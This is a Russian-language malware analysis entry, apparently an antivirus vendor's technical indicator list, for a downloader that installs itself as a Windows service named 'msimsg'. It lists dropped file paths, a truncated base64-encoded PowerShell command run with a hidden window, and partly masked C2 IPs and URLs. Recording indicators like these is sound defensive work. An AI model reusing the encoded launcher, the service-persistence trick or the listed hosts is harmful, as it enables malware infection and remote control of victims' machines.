Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msimsg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msimsg] 'ImagePath' = '"%WINDIR%\SysWOW64\msmpeg2adec\msimsg.exe"'
- 'msimsg' "%WINDIR%\SysWOW64\msmpeg2adec\msimsg.exe"
- 'msimsg' %WINDIR%\SysWOW64\msmpeg2adec\msimsg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe
- %WINDIR%\syswow64\msmpeg2adec\msimsg.exe
- %HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe в %WINDIR%\syswow64\msmpeg2adec\msimsg.exe
- '50.##1.220.50':80
- http://fo#######nsathletefactory.com/wp-admin/i/
- http://50.##1.220.50/ilZw/s4gpTZD/AS9579e2WGcUDGw/
- DNS ASK fo#######nsathletefactory.com
- '%HOMEPATH%\sqpgdfi\dqkgpwc\e2937a4y.exe'
- '%WINDIR%\syswow64\msmpeg2adec\msimsg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAH...' (со скрытым окном)